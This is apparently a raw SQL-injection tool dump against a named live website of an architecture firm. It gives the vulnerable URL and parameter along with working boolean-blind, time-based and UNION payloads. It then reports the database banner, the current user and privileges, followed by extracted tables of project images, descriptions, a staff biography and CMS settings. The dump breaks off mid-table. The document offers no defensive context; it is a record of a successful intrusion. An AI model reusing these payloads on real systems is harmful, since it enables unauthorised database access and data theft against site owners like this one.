https://pmsarch.com/moreInfo-commercial-and-retail.php?id=1 Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 5216=5216 AND 'inzq'='inzq Type: time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query) Payload: id=1' AND 9857=BENCHMARK(5000000,MD5(0x73414b47)) AND 'FPnS'='FPnS Type: UNION query Title: MySQL UNION query (NULL) - 4 columns Payload: id=-5581' UNION ALL SELECT NULL,CONCAT(0x717a627171,0x664d734c78464376714e474d5a6857454b55787a4978484a7a75796256465a69664f5369426d6b4f,0x71707a6b71),NULL,NULL# web application technology: Apache back-end DBMS operating system: Linux Ubuntu back-end DBMS: MySQL < 5.0.12 banner: '5.7.32-0ubuntu0.16.04.1' current user: 'pmsarch2014@new@%' database management system users [1]: [*] 'pmsarch2014@new'@'%' database management system users privileges: [*] 'pmsarch2014@new'@'%' [1]: privilege: USAGE database management system users roles: [*] 'pmsarch2014@new'@'%' [1]: role: USAGE Database: pmsarch2014 Table: design3_images [20 entries] +----+------------------------------+------------------------------------------------------------------+---------+--------------+ | id | title | image | content | design3-id | +----+------------------------------+------------------------------------------------------------------+---------+--------------+ | 1 | FL Gulf Bank | design3_FL-Gulf-Bank/FL-Gulf-Bank.jpg | | 1 | | 2 | FL Gulf-Bank 2 | design3_FL-Gulf-Bank-2/FL-Gulf-Bank-2.jpg | | 1 | | 3 | FL Gulf Bank 3 | design3_FL-Gulf-Bank-3/FL-Gulf-Bank-3.jpg | | 1 | | 4 | FL Gulf Bank SANDOVAL | design3_FL-Gulf-Bank-SANDOVAL/FL-Gulf-Bank-SANDOVAL.jpg | | 2 | | 5 | Showroom & Client Area | design3_Galloway-2/new2014Galloway-2.jpg | | 4 | | 6 | Interior Showroom | design3_Galloway-3/2014-Galloway-1.jpg | | 4 | | 8 | Florida Gulf Bank - Coconut | design3_FL-Gulfcoast-Bank-Coconut/COCONUT-002.jpg | | 3 | | 10 | Exterior | design3_Galloway-Lincoln---Exterior/2014-05-28_1797_edited-1.jpg | | 4 | | 11 | Southeast Entrance | design3_Southeast-Entrance/ext entrance.jpg | | 5 | | 12 | Southeast Addition | design3_Southeast-Addition/exterior.jpg | | 5 | | 13 | Lobby | design3_Lobby/lobby elev.jpg | | 5 | | 15 | A | design3_Main-Entryway/A Depot 2.jpg | | 6 | | 16 | C | design3_Rear-Entry/A Rear Entry 4.jpg | | 6 | | 17 | D | design3_Shading-detail/A Shading 1.jpg | | 6 | | 18 | E | design3_Main-Space/A Arches 3.jpg | | 6 | | 19 | G | design3_E/NIK_4021.JPG | | 6 | | 23 | B | | | 6 | | 24 | F | design3_F/A Workspace 4.jpg | | 6 | | 25 | I | design3_H/A Sign 1.jpg | | 6 | | 26 | H | design3_H/A Classroom 1.jpg | | 6 | +----+------------------------------+------------------------------------------------------------------+---------+--------------+ Database: pmsarch2014 Table: feed [6 entries] +----+---------------------+----------+----------+-----------+------------+ | id | name | settings | defTitle | titlenoun | defContent | +----+---------------------+----------+----------+-----------+------------+ | 1 | People | 0 | | | | | 2 | History | 0 | | | | | 6 | History Timeline | 0 | | | | | 7 | Home page slideshow | 0 | | | | | 8 | 50years | 0 | | | | | 10 | publications | 0 | | pagetitle | | +----+---------------------+----------+----------+-----------+------------+ Database: pmsarch2014 Table: design2_images [30 entries] +----+--------------------------------------+-----------------------------------------------------------------------+---------+--------------+ | id | title | image | content | design2-id | +----+--------------------------------------+-----------------------------------------------------------------------+---------+--------------+ | 4 | Jetblue Stadium 1 | design2_Jetblue-Stadium/Jetbblue-stadium3.jpg | | 11 | | 6 | Jetblue Stadium 3 | design2_Jetblue-Stadium/Jetblue-stadium2.jpg | | 11 | | 7 | Jetblue Stadium 4 | design2_Jetblue-Stadium-4/Jetblue-StadiumD7K_4501---Copy.jpg | | 11 | | 8 | Exterior Night View | design2_Jetblue-Stadium-at-night-/Jetblue-StadiumD7K_4572.jpg | | 11 | | 9 | Jetblue Stadium at night 2 | design2_Jetblue-Stadium-at-night-2/Jetblue-StadiumD7K_4573Copy.jpg | | 11 | | 10 | Jetblue Stadium 5 | design2_Jetblue-Stadium-5/Jetblue-StadiumD7K_4577.jpg | | 11 | | 11 | Jetblue Stadium Field | design2_Jetblue-Stadium-Field/Jetblue-StadiumD7K4485Copy.jpg | | 11 | | 12 | Jetblue Stadium Exterior | design2_Jetblue-Stadium-Exterior/Jetblue-stadium-exterior-1.jpg | | 11 | | 13 | Jetblue Stadium Exterior 2 | design2_Jetblue-Stadium-Exterior-2/Jetblue-stadium-exterior-2.jpg | | 11 | | 14 | Jetblue Stadium Interior | design2_Jetblue-Stadium-Interior/Jetblue-stadium-interior-2.jpg | | 11 | | 15 | Interior Basketball/Volleyball Court | design2_N.-Fort-Myers-Rec-Center/NFMY-REC-CTR1.jpg | | 12 | | 16 | Site Aerial | design2_N.-FM-RC-Site-Aerial/NFMRC-Site-Aerial.jpg | | 12 | | 17 | Exterior Render | design2_SCENE-1/NFM-SCENE-1.jpg | | 12 | | 18 | Front Entrance Render | design2_SCENE-2/NFM-SCENE-2.jpg | | 12 | | 19 | Fitness Area | design2_Interior/NFMY-REC-CTR2.jpg | | 12 | | 20 | Exterior | design2_Exterior/NFMY-REC-CTR3.jpg | | 12 | | 21 | Band Shell | design2_Band-Shell/B106-DSC_4879.jpg | | 13 | | 22 | Band Shell 2 | design2_Band-Shell-2/Riverside-Park-Bandshell.jpg | | 13 | | 23 | Band Shell 3 | design2_Band-Shell-3/B106-DSC_4922.jpg | | 13 | | 24 | Band Shell 4 | design2_Band-Shell-4/Shell-view-2.jpg | | 13 | | 25 | Soccer Field Seating | design2_Soccer-Field-Seating/fhc 016.jpg | | 14 | | 26 | Softball Seating | design2_Softball-Seating/bb 048.jpg | | 14 | | 28 | Estero Park and Rec Center | design2_Estero-Park-and-Rec-Center/Estero Park 176 10-11-06-small.jpg | | 15 | | 29 | Baseball Seating | design2_Baseball-Seating/fgcu-baseball.jpg | | 14 | | 31 | Recreation Center | design2_Recreation-Center/DSC04148.JPG | | 15 | | 32 | Exterior Stage | design2_Exterior-Stage/DSC04152.JPG | | 15 | | 33 | Seating Detail | design2_Seating-Detail/seating-detail.jpg | | 16 | | 34 | West Elevation | design2_West-Elevation/west elev.jpg | | 16 | | 35 | North Elevation and Fountain | design2_North-Elevation-and-Fountain/fountain.jpg | | 16 | | 36 | Lobby | design2_Lobby/lobby1.jpg | | 16 | +----+--------------------------------------+-----------------------------------------------------------------------+---------+--------------+ Database: pmsarch2014 Table: posts [1 entry] +----+------+-------------------+-------------------------+-----------+------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+----------+------------+ | id | sold | file | title | author | date | content | canRate | userSort | canComment | +----+------+-------------------+-------------------------+-----------+------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+----------+------------+ | 1 | 0 | post_1/Parker.jpg | Wiley M. Parker, AIA | Developer | 1363879031 |

Mr. Parker has over 50 years of experience in the field of Architecture, planning, contract documents and administration of construction.\xa0 During this time he has been involved with over fifty school and college projects, several churches, medical buildings, restaurants and numerous residences.\xa0 Mr. Parker is the Architect in charge of the renovation and restoration of the Edison Ford Winter Estates which has won an AIA Chapter Design Awards, Florida Trust for Historic Preservation Award and National Trust for Historic Preservation Award.

\r\n

Part of | 0 | 0 | 0 | +----+------+-------------------+-------------------------+-----------+------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+----------+------------+ Database: pmsarch2014 Table: sectiongroups [3 entries] +----+------+------------+-----------+ | id | sort | name | removable | +----+------+------------+-----------+ | 1 | 6 | Unassigned | 0 | | 2 | 7 | slideshow | 1 | | 3 | 5 | slideshow2 | 1 | +----+------+------------+-----------+ Database: pmsarch2014 Table: ratings [0 entries] +----+-----+-----+--------+ | id | pid | uid | rating | +----+-----+-----+--------+ +----+-----+-----+--------+ Database: pmsarch2014 Table: sectionsettings [0 entries] +----+-----------+------+---------+-----------+ | id | sectionId | name | value | default | +----+-----------+------+---------+-----------+ +----+-----------+------+---------+-----------+ Database: pmsarch2014 Table: comments [0 entries] +----+-----+--------+----------+------+------+-------+--------+--------+--------+---------+----------+ | id | uid | postId | parentId | name | type | email | rating | isAnon | date | content | archived | +----+-----+--------+----------+------+------+-------+--------+--------+--------+---------+----------+ +----+-----+--------+----------+------+------+-------+--------+--------+--------+---------+----------+ Database: pmsarch2014 Table: designs7 [1 entry] +----+-----------------------------------------------------+-------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | id | image | title | description | +----+-----------------------------------------------------+-------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 1 | design7_Charlotte-L.A.-Ainger-Middle-School/L.A.jpg | Charlotte L.A. Ainger Middle School |

Fort Myers, Florida:
Barraco & Associates Master
Business Development Center
Edison & Ford Winter Estates
Edison Ford Square
Henry Street Market Study
McGregor Mixed Use Master Plan
News-Press
Riverfront Development
Riverfront Site Development Plan (SDP)
West First Street

Lee County, Florida:
ECHO Master Plan, North Fort Myers
Madden Research Loop Site Studies
Munter\xe2€™s Master Plan, Metro Parkway
United Way of Lee County

Bonita Springs, FL:
City of Bonita Springs

Naples, Florida:
The Community School of Naples

Edison State College, Florida:
Edison College, Lee County Campus \xe2€“ 2001
Edison College, Collier County Campus \xe2€“ 1989
Edison Junior College, Lee County Campus \xe2€“ 1962

Collier County School District, Florida:
Immokalee High School
Lely High School
Naples High School

Charlotte County Public Schools, Florida:
Deep Creek Middle School
L.A. Ainger Middle School
Murdock Middle School
Port Charlotte Middle School
Punta Gorda Middle School

Other:
Covenant Presbyteria | +----+-----------------------------------------------------+-------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Database: pmsarch2014 Table: designs6 [1 entry] +----+----------------------------------------------+-------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | id | image | title | description | +----+----------------------------------------------+-------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 1 | design6_Randell-Research-Center/DSC_0024.jpg | Randell Research Center |

Location: Pineland, Fl
Date: Phase I - 2002
\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 Phase II - 2005

\r\n

The Randell Research Center is an outpost of the Florida Museum of Natural History, run by the University of Florida's Archeology Department. The freestanding, naturally ventilated structure includes restroom facilities, a classroom, and bookst heology site on Pine Island Sound.

| +----+----------------------------------------------+-------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Database: pmsarch2014 Table: designs5 [6 entries] +----+----------------------------------------------------------------------------+-----------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | id | image | title | description | +----+----------------------------------------------------------------------------+-----------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 1 | design5_His.-Renovation-Bradford-Building/Bradford-Building.jpg | His. Renovation Bradford Building |

His. Renovation Bradford Building

| | 2 | design5_Liles-Hotel-Riverside-Park-Bonita/Liles-Hotel-RS-Park-w-statue.jpg | Liles Hotel |

Liles Hotel at Riverside Park

\r\n

Bonita Springs, FL

| | 3 | design5_Lee-County-Court-House/Lee-County-Courthouse.jpg | Lee County Court House |

Lee County Court House

| | 4 | design5_Towles-House/DSCN1098.jpg | Towles House |

Towles House

\r\n

Fort Myers, FL

| | 5 | design5_Burroughs-Home/ELEV-EAST.jpg | Langford Kingston Home |

Location: Fort Myers, FL
Date: 2003 - present
Size: 5,232 sf

\r\n

Originally constructed in 1919, the Langford-Kingston home is one of the few historic homes remaining from that era. In 2003, Parker/Mudgett/Smith Architects, Inc. helped plan the relocation of the house from it's original location, to it's current location across the street.

\r\n

We have completed multiple projects to restore and preserve the house, so that it may remain open for visitors throughout the year. Most recently, we are undergoing a reroofing project.

| | 6 | design5_Burroughs-Home/Burroghs Reroofing 2015 002.JPG | Burroughs Home |

Location: Fort Myers, FL
Date: 2015

\r\n

Set directly on the Caloosahatchee River, the Burroughs home was originally built in 1901. Our firm has completed a reroofing restoration project on the main house.

| +----+----------------------------------------------------------------------------+-----------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Database: pmsarch2014 Table: designs4 [1 entry] +----+-----------------------------------+------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | id | image | title | description | +----+-----------------------------------+------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 1 | design4_Allen-Park/allen-park.jpg | Allen Park Elementary School |

Location: Fort Myers, FL
Date: 2011
Size: December 2011

\r\n

A full replacement of the built-up asphalt roof system was done on the schools buildings, while school was still in session.

| +----+-----------------------------------+------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Database: pmsarch2014 Table: designs3 [1 entry] +----+---------------------------------------+----------------------------+-----------------------------------------------------------------------------------------------+ | id | image | title | description | +----+---------------------------------------+----------------------------+-----------------------------------------------------------------------------------------------+ | 1 | design3_FL-Gulf-Bank/FL-Gulf-Bank.jpg | Florida Gulf Bank Colonial |

Location: Colonial Branch, Fort Myers, FL
Date: December 2006
Size: 3,996 sf

| +----+---------------------------------------+----------------------------+-----------------------------------------------------------------------------------------------+ Database: pmsarch2014 Table: designs2 [1 entry] +----+-----------------------------------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | id | image | title | description | +----+-----------------------------------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 11 | design2_Jetblue-Stadium/Jetbblue-stadium3.jpg | jetBlue Park |

Location: Fort Myers, FL
Date: 2012

\r\n

Our firm was the local associate architect for Jet Blue Park, a Boston Red Sox Spring Training Facility designed by national architect Populous. Out main role in this project was the construction contract documents, bidding and permitting, construction contract administration, punch list, and completion. The LEED C' p>\r\n

\xa0

| +----+-----------------------------------------------+--------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Database: pmsarch2014 Table: design9_images [13 entries] +----+---------------------------+----------------------------------------------------------------+---------+--------------+ | id | title | image | content | design9-id | +----+---------------------------+----------------------------------------------------------------+---------+--------------+ | 1 | Emmanuel Lutheran Church | design9_Emmanuel-Lutheran-Church/Emmanuel-Lutheran-Church2.jpg | | 1 | | 2 | Friends Pilgrims Church | design9_Friends-Pilgrims-Church/Friends-Pilgrims-Church.jpg | | 2 | | 3 | Friends Pilgrims Church 2 | design9_Friends-Pilgrims-Church-2/Friends-Pilgrims-Church2.jpg | | 2 | | 4 | McGregor Baptist Church 1 | design9_McGregor-Baptist-Church-1/McGregor-Baptist-Church3.jpg | | 3 | | 5 | McGregor Baptist Church 2 | design9_McGregor-Baptist-Church-2/McGregor-Baptist-Church4.jpg | | 3 | | 6 | McGregor Baptist Church 4 | design9_McGregor-Baptist-Church-4/McGregor-Baptist-Church5.jpg | | 3 | | 7 | McGregor Baptist Church 4 | design9_McGregor-Baptist-Church-4/McGregor-Baptist-Church6.jpg | | 3 | | 8 | Saint Lukes | design9_Saint-Lukes/St-Lukes.jpg | | 4 | | 9 | Saint Lukes 2 | design9_Saint-Lukes-2/St-Lukes2.jpg | | 4 | | 10 | Salvation Army 1 | design9_Salvation-Army/Salvation-Army3.jpg | | 5 | | 11 | Salvation Army 2 | design9_Salvation-Army/Salvation-Army.jpg | | 5 | | 12 | Salvation Army 3 | design9_Salvation-Army-3/Salvation-Army2.jpg | | 5 | | 13 | Saint Michaels | design9_Saint-Michaels/St-Michaels.jpg | | 6 | +----+---------------------------+----------------------------------------------------------------+---------+--------------+ Database: pmsarch2014 Table: feedsettings [360 entries] +-----+--------+---------------+--------------------------------------+--------------------------------------+ | id | feedId | name | value | default | +-----+--------+---------------+--------------------------------------+--------------------------------------+ | 195 | 0 | userSortable | | 0 | | 196 | 0 | hasEditor | 1 | 1 | | 197 | 0 | hasDefault | | 0 | | 198 | 0 | hidden | | 0 | | 199 | 0 | noun | Post | Post | | 200 | 0 | sortBy | id asc | date desc | | 201 | 0 | ratings | | 0 | | 202 | 0 | comments | | 0 | | 203 | 0 | postContent | 1 | 1 | | 204 | 0 | anonComment | 0 | 0 | | 205 | 0 | commentReview | 1 | 1 | | 206 | 0 | commentWait | 2 | 2 | | 207 | 0 | uploadType | | | | 208 | 0 | uploadCount | 1 | 1 | | 209 | 0 | uploadText | Please type text for the client here | Please type text for the client here | | 210 | 0 | uploadEnabled | 0 | 0 | | 211 | 0 | postCreation | 1 | 1 | | 212 | 0 | postDeletion | 1 | 1 | | 213 | 0 | userSortable | | 0 | | 214 | 0 | hasEditor | 1 | 1 | | 215 | 0 | hasDefault | | 0 | | 216 | 0 | hidden | | 0 | | 217 | 0 | noun | Post | Post | | 218 | 0 | sortBy | id asc | date desc | | 219 | 0 | ratings | | 0 | | 220 | 0 | comments | | 0 | | 221 | 0 | postContent | 1 | 1 | | 222 | 0 | anonComment | 0 | 0 | | 223 | 0 | commentReview | 1 | 1 | | 224 | 0 | commentWait | 2 | 2 | | 225 | 0 | uploadType | | | | 226 | 0 | uploadCount | 1 | 1 | | 227 | 0 | uploadText | Please type text for the client here | Please type text for the client here | | 228 | 0 | uploadEnabled | 0 | 0 | | 229 | 0 | postCreation | 1 | 1 | | 230 | 0 | postDeletion | 1 | 1 | | 231 | 0 | userSortable | | 0 | | 232 | 0 | hasEditor | 1 | 1 | | 233 | 0 | hasDefault | | 0 | | 234 | 0 | hidden | | 0 | | 235 | 0 | noun | Post | Post | | 236 | 0 | sortBy | id asc | date desc | | 237 | 0 | ratings | | 0 | | 238 | 0 | comments | | 0 | | 239 | 0 | postContent | 1 | 1 | | 240 | 0 | anonComment | 0 | 0 | | 241 | 0 | commentReview | 1 | 1 | | 242 | 0 | commentWait | 2 | 2 | | 243 | 0 | uploadType | | | | 244 | 0 | uploadCount | 1 | 1 | | 245 | 0 | uploadText | Please type text for the client here | Please type text for the client here | | 246 | 0 | uploadEnabled | 0 | 0 | | 247 | 0 | postCreation | 1 | 1 | | 248 | 0 | postDeletion | 1 | 1 | | 249 | 0 | userSortable | | 0 | | 250 | 0 | hasEditor | 1 | 1 | | 251 | 0 | hasDefault | | 0 | | 252 | 0 | hidden | | 0 | | 253 | 0 | noun | Post | Post | | 254 | 0 | sortBy | date desc | date desc | | 255 | 0 | ratings | 0 | 0 | | 256 | 0 | comments | 0 | 0 | | 257 | 0 | postContent | 1 | 1 | | 258 | 0 | anonComment | 0 | 0 | | 259 | 0 | commentReview | 1 | 1 | | 260 | 0 | commentWait | 2 | 2 | | 261 | 0 | uploadType | | | | 262 | 0 | uploadCount | 1 | 1 | | 263 | 0 | uploadText | Please type text for the client here | Please type text for the client here | | 264 | 0 | uploadEnabled | 0 | 0 | | 265 | 0 | postCreation | 1 | 1 | | 266 | 0 | postDeletion | 1 | 1 | | 267 | 0 | userSortable | 0 | 0 | | 268 | 0 | hasEditor | 1 | 1 | | 269 | 0 | hasDefault | 0 | 0 | | 270 | 0 | hidden | 0 | 0 | | 271 | 0 | noun | Post | Post | | 272 | 0 | sortBy | date desc | date desc | | 273 | 0 | ratings | 0 | 0 | | 274 | 0 | comments | 0 | 0 | | 275 | 0 | postContent | 1 | 1 | | 276 | 0 | anonComment | 0 | 0 | | 277 | 0 | commentReview | 1 | 1 | | 278 | 0 | commentWait | 2 | 2 | | 279 | 0 | uploadType | | | | 280 | 0 | uploadCount | 1 | 1 | | 281 | 0 | uploadText | Please type text for the client here | Please type text for the client here | | 282 | 0 | uploadEnabled | 0 | 0 | | 283 | 0 | postCreation | 1 | 1 | | 284 | 0 | postDeletion | 1 | 1 | | 285 | 0 | userSortable | 0 | 0 | | 286 | 0 | hasEditor | 1 | 1 | | 287 | 0 | hasDefault | 0 | 0 | | 288 | 0 | hidden | 0 | 0 | | 289 | 0 | noun | Post | Post | | 290 | 0 | sortBy | date desc | date desc | | 291 | 0 | ratings | 0 | 0 | | 292 | 0 | comments | 0 | 0 | | 293 | 0 | postContent | 1 | 1 | | 294 | 0 | anonComment | 0 | 0 | | 295 | 0 | commentReview | 1 | 1 | | 296 | 0 | commentWait | 2 | 2 | | 297 | 0 | uploadType | | | | 298 | 0 | uploadCount | 1 | 1 | | 299 | 0 | uploadText | Please type text for the client here | Please type text for the client here | | 300 | 0 | uploadEnabled | 0 | 0 | | 301 | 0 | postCreation | 1 | 1 | | 302 | 0 | postDeletion | 1 | 1 | | 303 | 0 | userSortable | 0 | 0 | | 304 | 0 | hasEditor | 1 | 1 | | 305 | 0 | hasDefault | 0 | 0 | | 306 | 0 | hidden | 0 | 0 | | 307 | 0 | noun | Post | Post | | 308 | 0 | sortBy | date desc | date desc | | 309 | 0 | ratings | 0 | 0 | | 310 | 0 | comments | 0 | 0 | | 311 | 0 | postContent | 1 | 1 | | 312 | 0 | anonComment | 0 | 0 | | 313 | 0 | commentReview | 1 | 1 | | 314 | 0 | commentWait | 2 | 2 | | 315 | 0 | uploadType | | | | 316 | 0 | uploadCount | 1 | 1 | | 317 | 0 | uploadText | Please type text for the client here | Please type text for the client here | | 318 | 0 | uploadEnabled | 0 | 0 | | 319 | 0 | postCreation | 1 | 1 | | 320 | 0 | postDeletion | 1 | 1 | | 321 | 0 | userSortable | 0 | 0 | | 322 | 0 | hasEditor | 1 | 1 | | 323 | 0 | hasDefault | 0 | 0 | | 324 | 0 | hidden | 0 | 0 | | 325 | 0 | noun | Post | Post | | 326 | 0 | sortBy | date desc | date desc | | 327 | 0 | ratings | 0 | 0 | | 328 | 0 | comments | 0 | 0 | | 329 | 0 | postContent | 1 | 1 | | 330 | 0 | anonComment | 0 | 0 | | 331 | 0 | commentReview | 1 | 1 | | 332 | 0 | commentWait | 2 | 2 | | 333 | 0 | uploadType | | | | 334 | 0 | uploadCount | 1 | 1 | | 335 | 0 | uploadText | Please type text for the client here | Please type text for the client here | | 336 | 0 | uploadEnabled | 0 | 0 | | 337 | 0 | postCreation | 1 | 1 | | 338 | 0 | postDeletion | 1 | 1 | | 339 | 0 | userSortable | 0 | 0 | | 340 | 0 | hasEditor | 1 | 1 | | 341 | 0 | hasDefault | 0 | 0 | | 342 | 0 | hidden | 0 | 0 | | 343 | 0 | noun | Post | Post | | 344 | 0 | sortBy | date desc | date desc | | 345 | 0 | ratings | 0 | 0 | | 346 | 0 | comments | 0 | 0 | | 347 | 0 | postContent | 1 | 1 | | 348 | 0 | anonComment | 0 | 0 | | 349 | 0 | commentReview | 1 | 1 | | 350 | 0 | commentWait | 2 | 2 | | 351 | 0 | uploadType | | | | 352 | 0 | uploadCount | 1 | 1 | | 353 | 0 | uploadText | Please type text for the client here | Please type text for the client here | | 354 | 0 | uploadEnabled | 0 | 0 | | 355 | 0 | postCreation | 1 | 1 | | 356 | 0 | postDeletion | 1 | 1 | | 357 | 0 | userSortable | 0 | 0 | | 358 | 0 | hasEditor | 1 | 1 | | 359 | 0 | hasDefault | 0 | 0 | | 360 | 0 | hidden | 0 | 0 | | 361 | 0 | noun | Post | Post | | 362 | 0 | sortBy | date desc | date desc | | 363 | 0 | ratings | 0 | 0 | | 364 | 0 | comments | 0 | 0 | | 365 | 0 | postContent | 1 | 1 | | 366 | 0 | anonComment | 0 | 0 | | 367 | 0 | commentReview | 1 | 1 | | 368 | 0 | commentWait | 2 | 2 | | 369 | 0 | uploadType | | | | 370 | 0 | uploadCount | 1 | 1 | | 371 | 0 | uploadText | Please type text for the client here | Please type text for the client here | | 372 | 0 | uploadEnabled | 0 | 0 | | 373 | 0 | postCreation | 1 | 1 | | 374 | 0 | postDeletion | 1 | 1 | | 375 | 0 | userSortable | 0 | 0 | | 376 | 0 | hasEditor | 1 | 1 | | 377 | 0 | hasDefault | 0 | 0 | | 378 | 0 | hidden | 0 | 0 | | 397 | 6 | noun | Post | Post | | 398 | 6 | sortBy | title desc | date desc | | 399 | 6 | ratings | | 0 | | 400 | 6 | comments | | 0 | | 401 | 6 | postContent | 1 | 1 | | 402 | 6 | anonComment | 0 | 0 | | 403 | 6 | commentReview | 1 | 1 | | 404 | 6 | commentWait | 2 | 2 | | 405 | 6 | uploadType | image_fileHandeler | | | 406 | 6 | uploadCount | | 1 | | 407 | 6 | uploadText | | Please type text for the client here | | 408 | 6 | uploadEnabled | | 0 | | 409 | 6 | postCreation | 1 | 1 | | 410 | 6 | postDeletion | 1 | 1 | | 411 | 6 | userSortable | 1 | 0 | | 412 | 6 | hasEditor | 1 | 1 | | 413 | 6 | hasDefault | | 0 | | 414 | 6 | hidden | | 0 | | 415 | 7 | noun | Post | Post | | 416 | 7 | sortBy | userSort asc | date desc | | 417 | 7 | ratings | | 0 | | 418 | 7 | comments | | 0 | | 419 | 7 | postContent | | 1 | | 420 | 7 | anonComment | 0 | 0 | | 421 | 7 | commentReview | 1 | 1 | | 422 | 7 | commentWait | 2 | 2 | | 423 | 7 | uploadType | image_fileHandeler | | | 424 | 7 | uploadCount | | 1 | | 425 | 7 | uploadText | scale image to 1,423px × 470px | Please type text for the client here | | 426 | 7 | uploadEnabled | 1 | 0 | | 427 | 7 | postCreation | | 1 | | 428 | 7 | postDeletion | 1 | 1 | | 429 | 7 | userSortable | 1 | 0 | | 430 | 7 | hasEditor | | 1 | | 431 | 7 | hasDefault | | 0 | | 432 | 7 | hidden | | 0 | | 433 | 8 | noun | Post | Post | | 434 | 8 | sortBy | userSort asc | date desc | | 435 | 8 | ratings | | 0 | | 436 | 8 | comments | | 0 | | 437 | 8 | postContent | 1 | 1 | | 438 | 8 | anonComment | 0 | 0 | | 439 | 8 | commentReview | 1 | 1 | | 440 | 8 | commentWait | 2 | 2 | | 441 | 8 | uploadType | image_fileHandeler | | | 442 | 8 | uploadCount | | 1 | | 443 | 8 | uploadText | upload image | Please type text for the client here | | 444 | 8 | uploadEnabled | 1 | 0 | | 445 | 8 | postCreation | 1 | 1 | | 446 | 8 | postDeletion | 1 | 1 | | 447 | 8 | userSortable | | 0 | | 448 | 8 | hasEditor | | 1 | | 449 | 8 | hasDefault | | 0 | | 450 | 8 | hidden | | 0 | | 469 | 10 | noun | post | Post | | 470 | 10 | sortBy | date desc | date desc | | 471 | 10 | ratings | | 0 | | 472 | 10 | comments | | 0 | | 473 | 10 | postContent | 1 | 1 | | 474 | 10 | anonComment | 0 | 0 | | 475 | 10 | commentReview | 1 | 1 | | 476 | 10 | commentWait | 2 | 2 | | 477 | 10 | uploadType | pdf_fileHandeler | | | 478 | 10 | uploadCount | | 1 | | 479 | 10 | uploadText | pdf upload | Please type text for the client here | | 480 | 10 | uploadEnabled | 1 | 0 | | 481 | 10 | postCreation | 1 | 1 | | 482 | 10 | postDeletion | 1 | 1 | | 483 | 10 | userSortable | 1 | 0 | | 484 | 10 | hasEditor | 1 | 1 | | 485 | 10 | hasDefault | | 0 | | 486 | 10 | hidden | | 0 | +-----+--------+---------------+--------------------------------------+--------------------------------------+ Database: pmsarch2014 Table: users_to_comments [0 entries] +----+-----+-----+ | id | cid | uid | +----+-----+-----+ +----+-----+-----+ Database: pmsarch2014 Table: design8_images [10 entries] +----+---------------------------------+------------------------------------------------------------------------+---------+--------------+ | id | title | image | content | design8-id | 